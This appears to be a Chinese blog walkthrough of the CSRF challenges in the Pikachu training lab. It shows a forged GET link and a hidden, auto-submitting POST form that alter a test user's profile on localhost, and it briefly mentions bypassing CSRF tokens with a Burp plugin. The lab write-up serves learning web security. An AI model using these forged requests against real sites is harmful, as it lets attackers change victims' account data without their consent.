pikachu靶场-CSRF

CSRF:

介绍:

Cross-site request forgery简称为"CSRF"。

在CSF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接)

然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了(本题是修改个人信息)。

所以CSRF攻击也被称为为"one click'"攻击。

1.CSRF(get):

我们先登录lucy的账号,点击修改信息,顺便用bp抓个包。

成功抓到数据包,看到get请求:

vb 复制代码
`GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
我们把性别改成男:
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit`

若lucy此时登录了该网站,点击了我们构造的 url 就会修改个人信息。

这里也可以使用一些短链接的方式。lucy访问该网站即可修改信息。

2.CSRF(post):

这里依旧拿lucy的个人信息实验,我们点击随便修改一下个人信息,顺便bp抓包。

此时 lucy 信息:

post传参的话,需要我们自己创一个表单,进行提交。

复制代码
sex=boy&phonenum=111111&add=beijing&email=lucy%40pikachu.com&submit=submit
--------------------
我们自己创一个html的文件,放到服务器上,
<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="boy" />
                <input type="hidden" name="phonenum" value="111222" />
                <input type="hidden" name="add" value="beijing" />
                <input type="hidden" name="email" value="lucy@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    
	<!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

利用phpstudy将文件路径放到pikachu目录下,访问后修过成功。

复制代码
http://127.0.0.1/pikachu/srf_post.php

3.CSRF Token:

这个时候,我们可以利用 burp suite 的插件 CSRF Token Tracker 来绕过

此时lucy个人信息如下,和抓包信息。

插件信息:

修改数据包,刷新lucy的个人信息即可发现数据被更改。

相关推荐
掘金安东尼6 小时前
纯 CSS 实现弹性文字效果
前端·css
牛奶6 小时前
Vue 基础理论 & API 使用
前端·vue.js·面试
牛奶6 小时前
Vue 底层原理 & 新特性
前端·vue.js·面试
anOnion7 小时前
构建无障碍组件之Radio group pattern
前端·html·交互设计
pe7er7 小时前
状态提升:前端开发中的状态管理的设计思想
前端·vue.js·react.js
SoaringHeart8 小时前
Flutter调试组件:打印任意组件尺寸位置信息 NRenderBox
前端·flutter
晚风予星8 小时前
Ant Design Token Lens 迎来了全面升级!支持在 .tsx 或 .ts 文件中直接使用 Design Token
前端·react.js·visual studio code
sunny_8 小时前
⚡️ vite-plugin-oxc:从 Babel 到 Oxc,我为 Vite 写了一个高性能编译插件
前端·webpack·架构
GIS之路8 小时前
ArcPy 开发环境搭建
前端
林小帅10 小时前
【笔记】OpenClaw 架构浅析
前端·agent